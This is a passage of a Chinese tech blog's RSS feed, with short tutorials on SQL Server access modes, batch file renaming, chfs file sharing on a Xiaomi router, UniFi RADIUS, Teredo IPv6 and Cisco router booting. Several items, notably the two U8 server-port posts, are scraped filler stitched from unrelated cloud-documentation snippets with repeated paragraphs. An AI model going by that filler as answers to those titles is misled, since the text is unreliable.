      <description>Sql server 备份还原后出现 受限制用户 问题&#xA;SQL数据库作备份和还原操作几乎是日常性事务了。但某次在对Sql Server 2005 数据库做备份还原后经常出现数据库“受限制用户”的问题&#xA;工具/原料&#xA;Windows OS&#xA;SQL DB&#xA;步骤/方法&#xA;打开数据库属性，在左上角的“选择页”中选择“选项”：&#xA;弹出“选项”设置项，在右边下面的“其他选项”中找到“限制访问”项：&#xA;单击“限制访问”项右边的下拉三角形按钮，弹出下拉菜单列表选项：&#xA;从弹出的下拉菜单列表选项中选择“MULTI_USER”项，如上图；&#xA;最后单击“确定”按钮保存设置：&#xA;重新打开SQL数据库，应该不再是受限制用户了：&#xA;以上就是Sql server 备份还原后出现 受限制用户 问题的详细内容，更多关于Sql server出现 受限制用户的资料请关注我们其它相关文章！&#xA;时间： 2020-03-08&#xA;除了硬盘和磁带,现在您可以使用 SQL Server 的本机备份功能来备份您的 SQL Server Database到 Windows AzureBlob 存储服务.在此版本中,您可以使用 T-SQL 和SMO备份到Windows AzureBlob存储.在SQL Server 户内实例上的SQLServer Databases或在宿主环境中,如运行在 Windows Azure VMs上的 SQL Server 实例都可以利用此功能. 好处: · 灵活. 可靠和无限的线下存储来提高灾难&#xA;网上说使用localhost即可,确实没错,但是有的仍旧会报出无法找到错误,我在无法通过的时候又重新安装了SQLServer,这次选中全部默认安装,之前使用的是选择安装,然后发现多了几个配置,其中有一项是建立实例,然后我再次选默认,安装完成后,再启动SQLServer2012,服务器名称中输入localhost,连接,ok. 猜想:估计是安装时没有建立实例所致,本机就没有安装实例 ,所以填localhost也没有用了. 以上所述是小编给大家介绍的SQL Server 2012安装后服务器名称找不&#xA;你用安装向导安装了全新的SQL Server,最后你点击了完成按钮.哇噢~~~现在我们可以把我们的服务器进入生产了!抱歉,那并不是真的,因为你的全新SQL Server默认配置是错误的. 是的,你没看错:SQL Server的默认安装在很多方面的配置是错误的.在今天的文章里,我想给你展示下,为了更快的性能,在SQL Server安装完成后3个你需要立即修改的配置选项.我们开始吧! 最大服务器内存(Max Server Memory) 免责声明:如果这些天你在32位系统上运行你的SQL Serve</description>
    </item>
    <item>
      <title>为当前目录和子目录下的文件修改后缀名</title>
      <link>https://bchobby.github.io/posts/814fa62fe58c02726d3de3cfb961d263/</link>
      <pubDate>Mon, 09 Aug 2021 18:41:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/814fa62fe58c02726d3de3cfb961d263/</guid>
      <description>用批处理文件写一段代码，可以更改当前目录和所有子目录下的后缀名。代码如下：&#xA;@echo off Setlocal Enabledelayedexpansion&#xA;echo 初始化 &amp;gt; log.txt&#xA;:: 输入后缀，例如html&#xA;set /p old=请输入被替换的后缀名：&#xA;set new=请输入新的后缀名：&#xA;:: 查找当前目录和子目录下所有为旧后缀名的文件&#xA;for /r %%i in (*.!old!) do ( :: 取出没有路径和后缀的文件名 set partname=%%~ni&#xA;:: 修改当前目录和子目录下文件的后缀&#xA;ren &#34;%%i&#34; &#34;!partname!.!new!&#34;&#xA;echo 原文件%%i 更名为!partname!.!new!&amp;gt;&amp;gt; log.txt&#xA;echo.&amp;gt;&amp;gt; log.txt&#xA;)&#xA;goto eof</description>
    </item>
    <item>
      <title>小米路由器http文件服务器,小米路由器MINI添加HTTP文件共享功能</title>
      <link>https://bchobby.github.io/posts/ccf5fa36af89393c7358946c2497dcd8/</link>
      <pubDate>Mon, 09 Aug 2021 18:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccf5fa36af89393c7358946c2497dcd8/</guid>
      <description>给HIMI小朋友做了一个看动画片的软件，需要把本地动画片以http的形式暴露在局域网中，网上找到一个教程，已经验证成功，记录下来备忘。&#xA;使用到了一个叫做chfs的一个软件。&#xA;下载地址： http://iscute.cn/chfs 小米mini路由器选择 chfs-linux-mipsle 这个版本。&#xA;第一步，先进入到U盘的路径，我这里是 /extdisks/sda1&#xA;将下载到的chfs文件放在U盘根目录&#xA;可以使用命令查看U盘所属的路径df -h&#xA;第二部，做配置文件。cd /extdisks/sda1&#xA;mkdir chfs.me&#xA;cd chfs.me&#xA;vi config.ini#config.ini&#xA;port=82&#xA;path=/extdisks/sda1/&#xA;rule=&#34;::r|username:password:d&#34;&#xA;修改权限cd ../&#xA;chmod -R 755 chfs&#xA;运行看看是否成功/extdisks/sda1/chfs --file=/extdisks/sda1/chfs.me/config.ini&#xA;接下来是做要成自启动。vi /etc/init.d/chfs#chfs&#xA;#!/bin/sh /etc/rc.common&#xA;START=99&#xA;start(){&#xA;/extdisks/sda1/chfs --file=/extdisks/sda1/chfs.me/config.ini&#xA;}&#xA;stop(){&#xA;PIDOF=$(ps |egrep chfs |egrep -v grep |awk &#39;{print $1}&#39;)&#xA;kill ${PIDOF}&#xA;}&#xA;保存之后给脚本权限chmod -R 777 chfs&#xA;转目录，做软连接即可cd /etc/rc.d&#xA;ln -s /etc/init.d/chfs /etc/rc.d/S99chfs&#xA;重启路由就大功告成啦。</description>
    </item>
    <item>
      <title>usg5150配虚拟服务器,UniFi - USG 内置 RADIUS 服务器配置步骤</title>
      <link>https://bchobby.github.io/posts/6338a4083a9e7f3c0b74dd7ed0870ad9/</link>
      <pubDate>Mon, 09 Aug 2021 17:58:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6338a4083a9e7f3c0b74dd7ed0870ad9/</guid>
      <description>概述&#xA;本文将介绍如何使用控制器在 USG 上搭建 RADIUS 服务器。越来越多的用户在选择认证方式的时候会选择目前大家公认更加安全的 RADIUS 认证方式。通常用户会自行搭建外部 RADIUS 服务器，然后在控制器上进行关联即可，但现在 USG 上内置了 RADIUS 服务器的功能，帮助用户更加便捷的实现 RADIUS 认证服务。&#xA;本文适用于固件版本 5.7.20 及以上版本&#xA;目录&#xA;介绍&#xA;在 5.7.20 及以上版本的 USG 中包含了 RADIUS 实用程序，以帮助配置内置的 RADIUS 服务器功能，预期效果效果如下：&#xA;启用 RADIUS 服务器功能&#xA;依次选择 设置 &amp;gt; 服务 &amp;gt; RADIUS&#xA;在 服务器 开启 RADIUS server 功能&#xA;加密: 内置的 RADIUS 服务只支持预共享密钥的方式来提供两种设备之间的身份验证，以确保 RADIUS 消息的完整性。&#xA;认证端口: 认证者和 RADIUS 服务器设备用来发送和接收 RADIUS 认证消息的端口。&#xA;计费端口: 认证者和 RADIUS 服务器设备用来发送和接收 RADIUS 计费消息的端口。&#xA;记账时间: 以毫秒为单位记录包含报告当前会话持续时间并可提供有关数据使用情况的信息。&#xA;注意！保存应用变更后，RADIUS 服务就会在 USG 上运行。</description>
    </item>
    <item>
      <title>微软的teredo服务器,win10系统通过teredo连接ipv6的操作方法</title>
      <link>https://bchobby.github.io/posts/d3d924462871f71a744220242664c6e7/</link>
      <pubDate>Mon, 09 Aug 2021 17:00:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d924462871f71a744220242664c6e7/</guid>
      <description>win10系统通过teredo连接ipv6的操作方法?&#xA;很多win10用户在使用电脑的时候，会发现win10系统通过teredo连接ipv6的的现象，根据小编的调查并不是所有的朋友都知道win10系统通过teredo连接ipv6的的问题怎么解决，不会的朋友也不用担心，下面我就给大家讲解一下win10系统通过teredo连接ipv6的的少许解决办法，其实步骤很简单，只需要1、在“开始”里输入“cmd”，右击，“以管理员身份运行”； 2、在命令行里输入：netsh interface teredo set state default server=default；这样的方式进行电脑操作，的步骤就可以搞定了，还有不知道win10系统通过teredo连接ipv6怎么解决的朋友赶快来学习一下吧！&#xA;推荐：&#xA;1、在“开始”里输入“cmd”，右击，“以管理员身份运行”；&#xA;2、在命令行里输入：netsh interface teredo set state default server=default；&#xA;3、即可恢复teredo；&#xA;4、输入：netsh interface ipv6 reset；&#xA;5、并重启计算机，可以重设ipv6设置。&#xA;微软的teredo服务器是：teredo.ipv6.microsoft.com。据说网通已经把它x了。&#xA;6、teredo服务器：teredo-debian.remlab.net，大家可以用一下命令更改teredo服务器，以防服务器被x：&#xA;netsh interface teredo set state server=teredo-debian.remlab.net&#xA;7、然后运行一下命令：ipconfig&#xA;看到“Teredo Tunneling pseudo-interface”有以2001开头的地址即可。&#xA;关于win10系统通过teredo连接ipv6的方法就给大家介绍到这边了，有需要的用户们可以按照上面的方法步骤来进行操作吧。</description>
    </item>
    <item>
      <title>微软的teredo服务器,深度完美W10系统通过teredo连接IPv6的方法</title>
      <link>https://bchobby.github.io/posts/70dca72464778c2738690912bed3f74a/</link>
      <pubDate>Mon, 09 Aug 2021 17:00:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70dca72464778c2738690912bed3f74a/</guid>
      <description>1、在“开始”里输入“cmd”，右击，“以管理员身份运行”；&#xA;2、在命令行里输入：netsh interface teredo set state default server=default；&#xA;3、即可恢复teredo；&#xA;4、输入：netsh interface ipv6 reset；&#xA;5、并重启计算机，可以重设ipv6设置。&#xA;微软的teredo服务器是：teredo.ipv6.microsoft.com。据说网通已经把它X了。&#xA;6、teredo服务器：teredo-debian.remlab.net，大家可以用一下命令更改teredo服务器，以防服务器被X：&#xA;netsh interface teredo set state server=teredo-debian.remlab.net&#xA;7、然后运行一下命令：ipconfig&#xA;看到“Teredo Tunneling Pseudo-Interface”有以2001开头的地址即可。&#xA;关于系统通过teredo连接IPv6的方法就给大家介绍到这边了，有需要的用户们可以按照上面的方法步骤来进行操作吧。&#xA;我要分享：</description>
    </item>
    <item>
      <title>服务器系统每天备份数据库,服务器每天自动定时备份数据库</title>
      <link>https://bchobby.github.io/posts/f145238346de2464e33c7b599d49d7c5/</link>
      <pubDate>Mon, 09 Aug 2021 16:59:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f145238346de2464e33c7b599d49d7c5/</guid>
      <description>服务器每天自动定时备份数据库 内容精选&#xA;换一换&#xA;计费项包括云服务器备份功能、数据库服务器备份功能、备份存储和备份跨区域复制。云服务器备份功能：备份未部署数据库的云服务器时购买，提供崩溃一致性备份，保证云服务器下多个磁盘的数据在同一时间点产生备份。数据库服务器备份功能：备份部署了数据库的云服务器时购买，提供应用一致性备份，保证备份时数据库事务的一致性。备份存储：备份数据使用存储空间的费用&#xA;云备份使用存储库来存放备份，存储库分为备份存储库和复制存储库两种：备份存储库是存放服务器和磁盘产生的备份副本的容器，备份存储库同时又分为以下几种：云服务器备份存储库：分为两种规格，一种为仅存放普通备份的服务器备份存储库；一种为仅存放含有数据库的服务器产生的数据库备份的存储库。可以将服务器绑定至存储库并绑定自动备份或复制策略，支持将存储库中&#xA;服务器每天自动定时备份数据库 相关内容&#xA;云备份(Cloud Backup and Recovery)为云内的云服务器、云硬盘，提供简单易用的备份服务，针对病毒入侵、人为误删除、软硬件故障等场景，可将数据恢复到任意备份点。&#xA;来自：产品&#xA;云备份(Cloud Backup and Recovery，CBR)可以为云服务器、云硬盘提供简单易用的备份服务，当发生病毒入侵、人为误删除、软硬件故障等事件时，可将数据恢复到任意备份点。云备份保障用户数据的安全性和正确性，确保业务安全。云备份由备份、存储库和策略组成。备份：备份即一个备份对象执行一次备份任务产生的备份数据，包括备份对象恢&#xA;服务器每天自动定时备份数据库 更多内容&#xA;云备份(Cloud Backup and Recovery)为云内的弹性云服务器(Elastic Cloud Server, ECS)、云耀云服务器(Hyper Elastic Cloud Server，HECS)、裸金属服务器(Bare Metal Server, BMS)(下文统称为服务器)、云硬盘(Elastic Volume Se&#xA;备份策略指的是对备份对象执行备份操作时，预先设置的策略。包括备份策略的名称、开关、备份任务执行的时间、周期以及备份数据的保留规则。其中备份数据的保留规则包括保存时间或保存数量。通过将服务器绑定到备份策略，可以为服务器执行自动备份。备份即一个备份对象执行一次备份任务产生的备份数据，包括备份对象恢复所需要的全部数据。备份可以通过一次性备份和周&#xA;在出现大范围的灾难(比如地震)时，造成生产站点和跨可用区容灾站点同时故障时，CBR服务可提供跨区域的容灾保护。通过备份策略，将整个存储库绑定的服务器和磁盘进行周期性备份，再通过复制策略周期性地向跨区域容灾站点复制备份，当生产站点和跨可用区容灾站点同时故障时，通过简单的操作，即可在跨区域容灾站点迅速恢复业务。采用CBR服务创建跨区域容灾保护&#xA;云备份计费项包括存储费和流量费，存储费根据存储库的不同进行收取。详细的计费项目如下所示：存储费：云硬盘备份存储库：备份云硬盘时购买。云服务器备份存储库：备份普通云服务器时购买。SFS Turbo备份存储库：备份SFS Turbo文件系统时购买。数据库服务器备份存储库：备份部署了数据库的云服务器时购买。混合云备份存储库：备份用户云下数据中心&#xA;华为云现已上线新版的备份服务云备份。如果您在云服务器备份和云硬盘备份服务中存在备份资源，但希望使用新服务云备份对历史备份进行备份管理，可以将备份资源从云服务器备份和云硬盘备份服务一键迁移至云备份中。若您从未使用过云服务器备份和云硬盘备份服务或不再需要历史备份资源，可以跳过此章节，直接使用新服务。完成资源迁移后，您可以根据退订资源包完成云服&#xA;数据加密服务中的密钥管理服务(Key Management Service，KMS)，是一种安全、可靠、简单易用的密钥托管服务，帮助您轻松创建和管理密钥，保护密钥的安全。云服务与KMS集成后，您只需在决定加密云服务数据时，选择一个KMS管理的用户主密钥，就可以轻松使用您选择的用户主密钥加解密您存储在这些云服务内的数据。您可以选择云服务自动&#xA;数据库安全审计支持手动和自动两种备份方式。备份日志后，审计日志将备份到对象存储服务上，并自动为您创建桶，桶按用量需要单独收费。请参照以下操作步骤，自动备份或手动备份审计日志。手动备份数据库审计日志会备份所有的日志，当您的日志量过大时，建议您使用自动备份。自动备份周期建议按天自动备份。&#xA;不支持。数据库安全审计的审计日志是存放在日志数据库中的。若您需要将日志保存于对象存储服务(OBS)，请登录数据库安全服务控制台，设置备份审计日志。备份数据库审计日志的详细操作步骤，请参见备份数据库审计日志。数据库安全审计支持手动备份和自动备份两种模式。自动备份支持每天、每周、每月三种备份周期备份审计日志。手动备份支持备份最近24小时日志、&#xA;华为云云服务器备份最新动态，为用户提供云服务器备份的版本新特性迭代说明，帮助您快速了解云服务器备份功能增强与完善的历程。&#xA;表1列出了云备份CBR的常用功能。在使用云备份CBR之前，建议您先通过基本概念介绍了解存储库和备份策略等基本概念，以便更好地理解云备份CBR提供的功能。&#xA;HA高可用替代不了自动备份的作用。例如，由于某种原因，某个数据库或表被恶意或误删除，虽然有HA高可用，但是主备数据库由于数据同步原因，数据同步被删除，无法还原。遇到这种情况，只能求助于自动备份。通过恢复到指定时间点(PITR)功能，用户可以将数据库实例恢复到删除前的某一时刻，还原被删除的数据。所以，自动备份具有很高的重要性。用户可根据业务</description>
    </item>
    <item>
      <title>cisco服务器修复模式,思科路由器故障怎么办 思科路由器修复教程【详细介绍】...</title>
      <link>https://bchobby.github.io/posts/7834bbd798c1252ccf6f79ff0bde4481/</link>
      <pubDate>Mon, 09 Aug 2021 16:50:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7834bbd798c1252ccf6f79ff0bde4481/</guid>
      <description>思科路由器修复教程， 本文主要给大家介绍了思科路由器如何改动启动方式从而修复路由器故障，并且主要给介绍了思科路由器的启动方式和顺序，相信看过此文会对你有所帮助。&#xA;当然，要使用这个功能的话，必须对路由器的启动方式与顺序有所了解。在这篇文章中笔者先首先简要介绍一下思科路由器的启动方式与顺序，然后再通过实际案例说明如果通过更改启动方式来修复路由器故障。相信这篇文章能够给广大读者带来一点启发。&#xA;思科路由器启动方式与过程&#xA;在路由器启动的时候，跟服务器一样，会有一个自检的过程。在这个过程中，如果发现错误，那么路由器就可能无法正常启动。如在自检过程中，可能路由器会发现配置文件错误等等。具体的来说，其自检包括三个阶段。其中任何一个阶段出现问题的话，都会影响其正常启动。&#xA;阶段一：加电硬件自检&#xA;当给路由器充电启动时，路由器首先检查的是硬件方面的问题。如会检查路由器的接口、内存等等是否有问题。通常情况下硬件问题是不可逆的。也就是说，如果在这一阶段发现硬件有问题，通常只有更换硬件或者禁用这个模块。如果由于这个硬件问题导致的故障，通常更改启动方式来解决其路由器故障的方法不会起作用。&#xA;阶段二：操作系统软件自检&#xA;当硬件自检通过之后，路由器就会加载操作系统。这个阶段也是比较容易会出问题的地方。在这个阶段中主要注意两个问题。一是需要注意，这个阶段的任务主要是bootstrap程序负责的。这是一个保存在只读存储器中的小程序。如果这个程序受到破坏、无法正常运行(如只读存储器发生物理损坏)等等，则就无法正常加载路由器的操作系统，从而导致启动失败。二是需要注意操作系统存储的位置。一般情况下这个操作系统可以存储在闪存、TFTP服务器、ROM等位置中。注意bootstrap在操作操作系统并加载的时候，其有一个先后的顺序。默认情况下是先闪存、后TFTP服务器、最后ROM。如果在加载的过程中，发现某个位置的操作系统文件出现损坏，路由器是不会自动选择其他的操作系统文件。此时网络管理员可以通过更改加载操作系统文件的路径来解决操作系统故障问题。这个原理跟在计算机上安装多操作系统一样。如果某个操作系统出现问题，可以用另一个操作系统进去。&#xA;阶段三：配置文件自检并应用相关配置&#xA;在Windows操作系统启动的最后阶段，系统都会找到用户的配置文件并应用相关的配置。如果这个配置文件损坏的话，系统会向用户报错并自动采用默认的配置。路由器在启动的最后一个阶段，跟这个类似。其也会查找用户先前的配置文件，并检查其是否准确。如果发现有错误的话，注意系统不会自动采用默认配置，这跟操作系统的启动有所区别。&#xA;笔者要提醒的一点是一般情况下配置文件有两个，分别为Starup-config与Runing-Config。注意这两个配置文件的区别，对于后续解决路由器故障问题有很大的帮助。</description>
    </item>
    <item>
      <title>论文中 一级标题、二级标题等 对应格式的统一修改</title>
      <link>https://bchobby.github.io/posts/9407658598685c973013b5f4d01fe9c0/</link>
      <pubDate>Mon, 09 Aug 2021 16:35:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9407658598685c973013b5f4d01fe9c0/</guid>
      <description>写论文，尤其是大论文，格式的修改至关重要。对于各级标题的格式，如果一个一个去修改的话很是麻烦，因此统一修改很有必要。&#xA;一、找到修改格式的界面 开始 - 样式 - 下拉标志&#xA;比如，选择二级标题&#xA;二、设置参数 选择 格式，便会有对应的字体和段落设置</description>
    </item>
    <item>
      <title>u8虚拟服务器端口,用友u8服务器参数配置</title>
      <link>https://bchobby.github.io/posts/6b6b72244c2c04b0a0bbc184be6a9291/</link>
      <pubDate>Mon, 09 Aug 2021 16:22:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b6b72244c2c04b0a0bbc184be6a9291/</guid>
      <description>用友u8服务器参数配置 内容精选&#xA;换一换&#xA;查询负载均衡器状态树。可通过该接口查询负载均衡器关联的监听器、后端云服务器组、后端云服务器、健康检查、转发策略、转发规则的主要信息，了解负载均衡器下资源的拓扑情况。GET /v2/{project_id}/elb/loadbalancers/{loadbalancer_id}/statuses无请求样例GET https://{Endpo&#xA;该任务指导用户使用Loader将数据从HBase导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HBase表或phoenix表。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。&#xA;用友u8服务器参数配置 相关内容&#xA;该任务指导用户使用Loader将数据从Hive导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Hive表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需要使&#xA;该任务指导用户使用Loader将数据从Spark导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Spark表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需&#xA;用友u8服务器参数配置 更多内容&#xA;插入算子的配置文件路径与文件名，例如aipp预处理算子。若配置了该参数，则不能对同一个输入节点同时使用--input_fp16_nodes参数。参数值：插入算子的配置文件路径与文件名。参数值格式：路径和文件名：支持大小写字母(a-z，A-Z)、数字(0-9)、下划线(_)、中划线(-)、句点(.)、中文字符。无。下面以插入AIPP预处理算&#xA;调用此接口配置增值(录制)事件上报回调。当任务发生订阅了的事件时，通过该接口配置的回调地址通知。回调格式参考/customer-record-notify-url定义。您可以在API Explorer中调试该接口。PUT /v2/apps/{app_id}/record-callback状态码： 200状态码： 400状态码： 404状态&#xA;该任务指导用户使用Loader将数据从SFTP服务器导入到HDFS/OBS。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HDFS/OBS目录和数据。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器上源文件的读取权限。若源文件在导入后文件名要增加后缀，则该用户还需具备源文件的写入权&#xA;用户在MRS Manager界面配置监控指标转储后，转储失败时产生该告警。转储成功后，告警恢复。监控指标转储失败会影响上层管理系统无法获取到MRS Manager系统的监控指标。无法连接服务器。无法访问服务器上保存路径。上传监控指标文件失败。是，执行3。否，执行2。是，执行完毕。否，执行3。是，执行5。否，执行4。是，执行完毕。否，执行5&#xA;使用vi编辑器打开“/etc/default/grub”，按如下要求修改参数：GRUB_CMDLINE_LINUX参数为console=tty0 console=ttyAMA0,115200GRUB_TERMINAL参数为serialGRUB_SERIAL_COMMAND参数为serial --speed=115200 --unit=0&#xA;调用此接口删除录制规则，对于正在使用的录制规则，不允许删除。您可以在API Explorer中调试该接口。DELETE /v2/apps/{app_id}/record-rules/{rule_id}状态码： 204状态码： 400状态码： 404状态码： 500状态码： 400删除配置失败，语义有误，当前请求无法被服务器理解，或参数有误&#xA;在PS-Worker架构中，集群中的节点被分为两类：参数服务器(parameter server)和工作服务器(worker)。其中参数服务器存放模型的参数，而工作服务器负责计算参数的梯度。在每个迭代过程，工作服务器从参数服务器中获得参数，然后将计算的梯度返回给参数服务器，参数服务器聚合从工作服务器传回的梯度，然后更新参数，并将新的参数广&#xA;插入算子的配置文件路径与文件名，例如aipp预处理算子。若配置了该参数，则不能对同一个输入节点同时使用--input_fp16_nodes参数。参数值：插入算子的配置文件路径与文件名。参数值格式：路径和文件名：支持大小写字母(a-z，A-Z)、数字(0-9)、下划线(_)、中划线(-)、句点(.)、中文字符。无。下面以插入AIPP预处理算&#xA;本章节主要通过示例模板，介绍快速发放SAP S/4HANA(不带HANA)。若您需要快速发放SAP S/4HANA(带HANA)，具体请参见创建SAP S/4HANA(带HANA)。发放SAP S/4HANA的日志目录为/var/log/huawei/auto-install/s4-intall.log。已确保在华为云上已部署对应版本的S&#xA;插入算子的配置文件路径与文件名，例如aipp预处理算子。若配置了该参数，则不能对同一个输入节点同时使用--input_fp16_nodes参数。参数值：插入算子的配置文件路径与文件名。参数值格式：路径和文件名：支持大小写字母(a-z，A-Z)、数字(0-9)、下划线(_)、中划线(-)、句点(.)、中文字符。无。下面以插入AIPP预处理算&#xA;插入算子的配置文件路径与文件名，例如aipp预处理算子。若配置了该参数，则不能对同一个输入节点同时使用--input_fp16_nodes参数。参数值：插入算子的配置文件路径与文件名。参数值格式：路径和文件名：支持大小写字母(a-z，A-Z)、数字(0-9)、下划线(_)、中划线(-)、句点(.)、中文字符。无。下面以插入AIPP预处理算</description>
    </item>
    <item>
      <title>怎么修改u8服务器端口,用友U8服务器修改数据库端口</title>
      <link>https://bchobby.github.io/posts/9c079e57576841f8605a517e8e281ceb/</link>
      <pubDate>Mon, 09 Aug 2021 16:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c079e57576841f8605a517e8e281ceb/</guid>
      <description>用友U8服务器修改数据库端口 内容精选&#xA;换一换&#xA;GaussDB(for MySQL)使用上有一些固定限制，用来提高实例的稳定性和安全性，具体详见表1。&#xA;云数据库RDS服务上的MySQL在使用上有一些固定限制，用来提高实例的稳定性和安全性，具体详见表1。&#xA;用友U8服务器修改数据库端口 相关内容&#xA;云数据库RDS服务上的PostgreSQL在使用上有一些固定限制，用来提高实例的稳定性和安全性，具体详见表1。&#xA;云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可通过公网访问云数据库RDS。通过弹性云服务器连接云数据库RDS实例，需要创建一台弹性云服务器。创建并连接弹性云服务器，请参见如何创建和连接ECS。通过公网地址连接云数据库RDS实例，需具备以下条件。先对云数&#xA;用友U8服务器修改数据库端口 更多内容&#xA;配置应用系统的跨云热备容灾方案如图1所示。在如图1所示的方案中，用户的生产数据中心的应用系统使用MySQL作为数据库，应用系统与MySQL均热备容灾到华为云上。用户的生产数据中心与华为云之间使用专线进行网络连接。当生产数据中心发生灾难时，用户需要将原生产数据中心的业务故障转移到容灾端(即华为云)，并将业务流量的请求引流到华为云上ELB，实&#xA;创建外表语法(CREATE FOREIGN TABLE (SQL on Hadoop or OBS))中，需指定一个与MRS数据源连接相关联的外部服务器。当您通过GaussDB(DWS)管理控制台创建MRS数据源连接时，数据库管理员dbadmin会在默认数据库gaussdb中自动创建一个外部服务器。因此，如果您希望在默认数据库gauss&#xA;为了提高实例的稳定性和安全性，文档数据库服务在使用上有一些固定限制，具体详见表1。&#xA;您可以借助报表服务制作各种各样的报表，无论是简单的还是复杂的报表，同时系统提供订阅功能方便用户对报表进行订阅。本文主要介绍RDS使用SSRS(Reporting Services)报表服务。微软的Microsoft SQL Server产品中包含SQL Server数据库引擎、Reporting Services(SSRS)、Analys&#xA;规划数据服务器与集群处于同一内网，数据服务器IP为192.168.0.90，导出数据文件格式为CSV，所以规划的并行导出模式为Remote模式。Remote模式并行导出数据操作示例如下所示：以root用户登录GDS数据服务器，创建数据文件存放目录“/output_data”，启动gds_user用户及所属的用户组。mkdir -p /ou&#xA;GaussDB(for openGauss)实例创建成功后，默认未开启公网访问功能(即未绑定弹性公网IP)。GaussDB(for openGauss)支持用户绑定弹性公网IP，在公共网络来访问数据库实例，绑定后也可根据需要解绑。GaussDB(for openGauss)提供gsql工具帮助您在命令行下连接数据库，您需要提前创建一台弹性&#xA;规划数据服务器与集群处于同一内网，数据服务器IP为192.168.0.90，导出数据文件格式为CSV，所以规划的并行导出模式为Remote模式。Remote模式并行导出数据操作示例如下所示：(可选)创建用户及其所属的用户组。此用户用于启动GDS。若该类用户及所属用户组已存在，可跳过此步骤。groupadd gdsgrp&#xA;useradd -&#xA;本章介绍如何在管理控制台购买GaussDB(for openGauss)实例，并通过内网使用弹性云服务器连接GaussDB(for openGauss)实例。GaussDB(for openGauss)提供gsql工具帮助您在命令行下连接数据库，您需要提前创建一台弹性云服务器用于安装gsql工具。创建并连接ECS，请参见弹性云服务器快速入&#xA;MySQL的“utf8”只支持每个字符最多三个字节，而真正的UTF-8是每个字符最多四个字节。包括Emoji表情(Emoji是一种特殊的Unicode编码，常见于手机上)，和很多不常用的汉字，以及任何新增的Unicode字符等都无法使用Mysql的utf8字符集存储。在2010年Mysql发布了“utf8mb4”的字符集。MySQL在5.&#xA;PostgreSQL支持逻辑备份。您可使用pg_dump逻辑备份功能，导出备份文件，再通过psql导入到RDS中，实现将PostgreSQL的数据导入到云数据库RDS中。云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可公网访问云数据库RDS。通过弹性云服&#xA;对于mysqlpump工具，由于在并行备份场景有coredump问题，不建议您使用，推荐您使用mysqldump工具迁移。GaussDB(for MySQL)支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问GaussDB(for MySQL)。准备弹性云服务器或可通过公网访问GaussDB(for MySQ</description>
    </item>
    <item>
      <title>幻侠修仙服务器维护,幻侠修仙好玩吗 幻侠修仙玩法简介</title>
      <link>https://bchobby.github.io/posts/71206ed994373f8d9bcf734a617e0c2e/</link>
      <pubDate>Mon, 09 Aug 2021 15:57:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71206ed994373f8d9bcf734a617e0c2e/</guid>
      <description>期待已久的手游幻侠修仙即将登陆九游，这款手机游戏吸引了大批玩家的关注，有很多粉丝都在问九游小编幻侠修仙好玩吗？幻侠修仙值不值得玩？现在就为大家来简单分析下，看看这款游戏的玩法特点和游戏剧情介绍。&#xA;1、幻侠修仙简要评析：&#xA;幻侠修仙官网安卓正式版带来震撼无限的修仙剧情模式，让你去体验无尽的冒险传说，带来真实的玄幻与小说的经典模式，还有特色情节等你还原出来；经历五行天劫的磨炼，我们的修仙之路一日千里，在挂机战斗的逍遥路途之中，拥有江湖人的热血决战，跨服模式PK体验全服参与奖励丰厚，这是真正的排名争夺，神兵坐骑的奖励让你拿到手软，只要有实力哪里都是人间的天堂！ 幻侠修仙官网版特色 1、特技惊人的翅膀羽翼还有组队语音功能，让副本对战的财富全都在你手中，江湖恩怨与功德都在红尘的历险之中，法宝与实力的对战尽情狂欢吧！ 2、个性美景给你桃园一般的场景，洞府仙缘我们可以长生问道，带来最美的挑战方式，PK模式绚丽特色来临，挂机对战更能体现王者风范！ 3、新版对战乐趣古典的青云世界，剑侠能力就是妖魔的主站力，三界的波澜都将点燃新的战火，仙盟契约邀请神兽为你助阵，培养亲密度发挥全部潜力！ 4、萌宠养成天下在手，特色的战斗方式经典无双，无尽的冒险与传说，我们都是未来的仙界战将，神仙角色加盟让你战斗力飙升，经典体验热血来袭！ 官方简介 是一款真正的玄幻剧情冒险手游，带来激情不断地妖魔战役，特色的三界故事由你去书写。神仙佳缘的乱世美景，让你充满了希望和动力；与仙女结伴组成仙侣，我们的情缘与三世爱恋都将重演，不离不弃的精神面貌，还有神兽的晋升道路在其中，将体内的血脉力量进行觉醒。技能操作的特色的战斗领域，拥有百变神装是你主宰九州的机会，带来更多的冒险故事情缘，让你成为人人敬仰的三界第一高手！ 温馨提示 